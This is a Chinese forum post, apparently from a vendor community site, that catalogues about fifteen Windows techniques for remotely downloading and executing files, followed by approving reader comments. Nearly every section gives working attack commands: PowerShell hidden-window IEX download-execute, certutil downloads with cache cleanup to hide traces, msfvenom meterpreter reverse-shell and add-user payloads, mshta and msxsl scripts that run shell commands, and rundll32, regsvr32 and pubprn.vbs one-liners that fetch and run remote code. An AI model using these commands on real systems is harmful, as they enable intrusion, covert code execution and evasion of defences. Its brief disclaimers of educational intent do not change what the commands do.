【大白分享】渗透安全之Windows命令文件传输方式篇
  

山东_朱文鑫 24971人觉得有帮助

{{ttag.title}}
本帖最后由 山东_朱文鑫 于 2023-6-23 23:44 编辑

大家好,我是大白,坚持不懈地前进,才能保持荣誉;罢手不干,便会像一套久搁生锈的铠甲,过时的式样,会成为世人揶揄的资料。依旧感谢各位小伙伴的一路支持与陪伴,祝各位小伙伴端午节快乐!!!!



*本篇章将本着学习的态度进行分享,严禁用于个人非法行为以及黑产获取!!!!

今天分享大白的渗透安全之Windows命令文件传输方式篇,同样还是对于好多小伙伴来说,这个更加偏向于安服,总体来说确实更加偏向于安服但是对于安全知识的了解以及更加层次的学习甚至使用都比较重要,我们可以一同研习一下渗透攻防的“魅力”。




一般来说,实现Windows文件下载执行的方式不外乎以下几种方式。第一种,远程下载文件到本地,然后再执行;第二种,远程下载执行,执行过程没有二进制文件落地,这种方式已然成为后门文件下载执行的首要方式。另外呢,只要你所在服务器的环境支持,你也可以通过任何一门语言来实现它,这种方式暂不在本文的讨论范围之内。



在这里,收集了15种常见的文件下载执行的方式,并结合具体案例并且进行解析。


PowerShell

PowerShell是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用。

远程下载文件保存在本地:

  1. powershell (new-object System.Net.WebClient).DownloadFile('http://ip地址/imag/evil.txt','evil.exe')
复制代码


远程执行命令:


  1. powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://IP地址/imag/evil.txt'))"
复制代码




Bitsadmin

bitsadmin是一个命令行工具,可用于创建下载或上传工作和监测其进展情况。

  1. bitsadmin /transfer n http://IP地址/imag/evil.txt d:\test\1.txt
复制代码


输入以上命令,成功下载文件。



certutil

用于备份证书服务,支持xp-win10都支持。由于certutil下载文件都会留下缓存,所以一般都建议下载完文件后对缓存进行删除。

注:缓存目录为:"%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content"

  1. #下载文件
  2. certutil -urlcache -split -f http://IP地址/imag/evil.txt test.php
  3. #删除缓存
  4. certutil -urlcache -split -f http://IP地址/imag/evil.txt delete
复制代码





wget

Windows环境下,可上传免安装的可执行程序wget.exe到目标机器,使用wget下载文件。

  1. wget -O "evil.txt" http://IP地址/imag/evil.txt
复制代码




ipc$文件共享

IPC$是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。


  1. #建立远程IPC连接
  2. net use \\IP地址\ipc$ /user:administrator "abc123!"
  3. #复制远程文件到本地主机
  4. copy \\IP地址\c$\2.txt D:\test
复制代码




FTP

一般情况下攻击者使用FTP上传文件需要很多交互的步骤,下面这个 bash脚本,考虑到了交互的情况,可以直接执行并不会产生交互动作。

  1. ftp 127.0.0.1
  2. username
  3. password
  4. get file
  5. exit
复制代码



TFTP

用来下载远程文件的最简单的网络协议,它基于UDP协议而实现

  1. tftp -i 你的IP get 要下载文件 存放位置
复制代码



WinScp

WinSCP是一个Windows环境下使用SSH的开源图形化SFTP客户端。

  1. #上传
  2. winscp.exe /console /command "option batch continue" "option confirm off" "open sftp://bypass:abc123!@IP地址:端口" "option transfer binary" "put D:\1.txt  /tmp/" "exit" /log=log_file.txt

  3. #下载
  4. winscp.exe /console /command "option batch continue" "option confirm off" "open sftp://bypass:abc123!@IP地址:端口" "option transfer binary" "get /tmp D:\test\app\" "exit" /log=log_file.txt
复制代码




使用winscp.exe 作为命令行参数执行远程上传/下载操作。





msiexec

msiexec 支持远程下载功能,将msi文件上传到服务器,通过如下命令远程执行:

  1. #生成msi包
  2. msfvenom -p windows/exec CMD='net user test abc123! /add' -f msi > evil.msi
  3. #远程执行
  4. msiexec /q /i http://IP地址/evil.msi
复制代码

成功添加了一个test用户:



IEExec

IEexec.exe应用程序是.NET Framework附带程序,存在于多个系统白名单内。

生成Payload:

  1. msfvenom -p windows/meterpreter/reverse_tcp lhost=IP地址 lport=端口号 -f exe -o evil.exe
复制代码

使用管理员身份打开cmd,分别运行下面两条命令。

  1. C:\Windows\Microsoft.NET\Framework64\v2.0.50727>caspol.exe -s off
  2. C:\Windows\Microsoft.NET\Framework64\v2.0.50727>IEExec.exe http://IP地址/evil.exe
复制代码



mshta

mshta用于执行.hta文件,而hta是HTML Applocation 的缩写,也就是HTML应用程序。而hta中也支持VBS。所以我们可以利用hta来下载文件。

  1. mshta http://IP地址/run.hta
复制代码


run.hta内容如下:

  1. <HTML>
  2. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  3. <HEAD>
  4. <script language="VBScript">
  5. Window.ReSizeTo 0, 0
  6. Window.moveTo -2000,-2000
  7. Set objShell = CreateObject("Wscript.Shell")
  8. objShell.Run "cmd.exe /c net user test password /add" // 这里填写命令
  9. self.close
  10. </script>
  11. <body>
  12. demo
  13. </body>
  14. </HEAD>
  15. </HTML>
复制代码



rundll32

其实还是依赖于WScript.shell这个组件,在这里我们使用JSRat来做演示,JSRat是一个命令和控制框架,仅为rundll32.exe和regsvr32.exe生成恶意程序。

步骤一:开始运行JSRat,监听本地8888端口。



步骤二:通过url访问,可以查看恶意代码。




复制代码如下:


  1. rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://IP地址:端口 /connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
复制代码



步骤三:在受害者PC运行该代码,将成功返回一个会话,如下图所示:



regsvr32

Regsvr32命令用于注册COM组件,是Windows系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行

在目标机上执行:

  1. regsvr32.exe /u /n /s /i:http://IP地址:端口号/file.sct scrobj.dll
复制代码


可以通过自己构造.sct文件,去下载执行我们的程序

  1. <?XML version="1.0"?>
  2. <scriptlet>
  3. <registration
  4.     progid="ShortJSRAT"
  5.     classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
  6.     <script language="JScript">
  7.         <![CDATA[
  8.             ps  = "cmd.exe /c calc.exe";
  9.             new ActiveXObject("WScript.Shell").Run(ps,0,true);
  10.         ]]>
  11. </script>
  12. </registration>
  13. </scriptlet>
复制代码

执行命令,成功弹计算器:



MSXSL.EXE

msxsl.exe是微软用于命令行下处理XSL的一个程序,所以通过他,我们可以执行JavaScript进而执行系统命令。

msxsl.exe 需要接受两个文件,XML及XSL文件,可以远程加载,具体方式如下:

  1. msxsl http://IP地址/scripts/demo.xml http://IP地址/scripts/exec.xsl
复制代码

demo.xml

  1. <?xml version="1.0"?>
  2. <?xml-stylesheet type="text/xsl" href="exec.xsl" ?>
  3. <customers>
  4. <customer>
  5. <name>Microsoft</name>
  6. </customer>
  7. </customers>
复制代码

exec.xsl

  1. <?xml version='1.0'?>
  2. <xsl:stylesheet version="1.0"
  3. xmlns:xsl="http://域名/1999/XSL/Transform"
  4. xmlns:msxsl="urn:schemas-microsoft-com:xslt"
  5. xmlns:user="http://mycompany.com/mynamespace">

  6. <msxsl:script language="JScript" implements-prefix="user">
  7.    function xml(nodelist) {
  8. var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe");
  9.    return nodelist.nextNode().xml;

  10.    }
  11. </msxsl:script>
  12. <xsl:template match="/">
  13.    <xsl:value-of select="user:xml(.)"/>
  14. </xsl:template>
  15. </xsl:stylesheet>
复制代码



pubprn.vbs

在Windows 7以上版本存在一个名为PubPrn.vbs的微软已签名WSH脚本,其位于C:\Windows\System32\Printing_Admin_Scripts\en-US,仔细观察该脚本可以发现其显然是由用户提供输入(通过命令行参数),之后再将参数传递给GetObject()

  1. "C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs" 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct
复制代码

test.sct

  1. <?XML version="1.0"?>
  2. <scriptlet>
  3. <registration
  4.     description="Bandit"
  5.     progid="Bandit"
  6.     version="1.00"
  7.     classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
  8.     remotable="true"
  9.     >
  10. </registration>
  11. <script language="JScript">
  12. <![CDATA[
  13.         var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
  14. ]]>
  15. </script>
  16. </scriptlet>
复制代码



*本篇章将本着学习的态度进行分享,严禁用于个人非法行为以及黑产获取,网络不是法外之地!!!!



以上就是本次的渗透安全之Windows权限维持后门隐藏篇,一句忠告:业务备份一时不做一时爽,问题出现两行泪,感谢大佬们的参阅,此贴先到这里后续会带上更加实用的帖子,感谢大家!

励志分享超清壁纸语句~~:





内不欺己,外不欺人。———孔子


好的今天就到这里,老样子,感谢各位大神的参阅,孩子为了挣豆子不容易,孩子家里穷没豆子吃饭了!!!

打赏鼓励作者,期待更多好文!

打赏
6人已打赏

韩立春 发表于 2023-7-4 09:38
  

楼主分享的案例很实用,具有典型性
冰窟蚂蚁 发表于 2023-7-7 08:57
  
谢谢楼主分享,非常好用
一个无趣的人 发表于 2023-9-6 10:19
  
楼主的文章图文并茂,清晰易懂,看完这波操作可以轻松上手了,如遇到问题再向楼主请教~
dhf 发表于 2023-9-20 10:22
  
每日打卡学习,感谢分享,学习了!!!
新手626351 发表于 2023-10-16 09:31
  
学习到了,有助于工作!
新手716814 发表于 2023-10-17 09:02
  


楼主分享的案例很实用,具有典型性
新手716814 发表于 2023-11-2 16:56
  
感谢分享,有助于工作和学习
shuyangzjg 发表于 2024-4-8 14:08
  
这个牛逼,学习了,这么多的下载方式,好几种都是第一次看到
发表新帖
热门标签
全部标签>
每日一问
技术盲盒
技术笔记
干货满满
技术咨询
新版本体验
GIF动图学习
功能体验
产品连连看
标准化排查
自助服务平台操作指引
2023技术争霸赛专题
运维工具
通用技术
秒懂零信任
技术晨报
信服课堂视频
用户认证
安装部署配置
深信服技术支持平台
安全攻防
SDP百科
设备维护
社区帮助指南
答题自测
每日一记
玩转零信任
畅聊IT
专家问答
技术圆桌
在线直播
MVP
网络基础知识
升级
上网策略
测试报告
日志审计
问题分析处理
流量管理
云计算知识
原创分享
解决方案
sangfor周刊
VPN 对接
项目案例
SANGFOR资讯
专家分享
技术顾问
信服故事
功能咨询
终端接入
授权
资源访问
地址转换
虚拟机
存储
迁移
加速技术
排障笔记本
产品预警公告
信服圈儿
S豆商城资讯
技术争霸赛
「智能机器人」
追光者计划
答题榜单公布
纪元平台
卧龙计划
华北区拉练
天逸直播
以战代练
山东区技术晨报
文档捉虫活动
齐鲁TV
华北区交付直播
每周精选

本版达人

ggbang

本周建议达人

adds

本周提问达人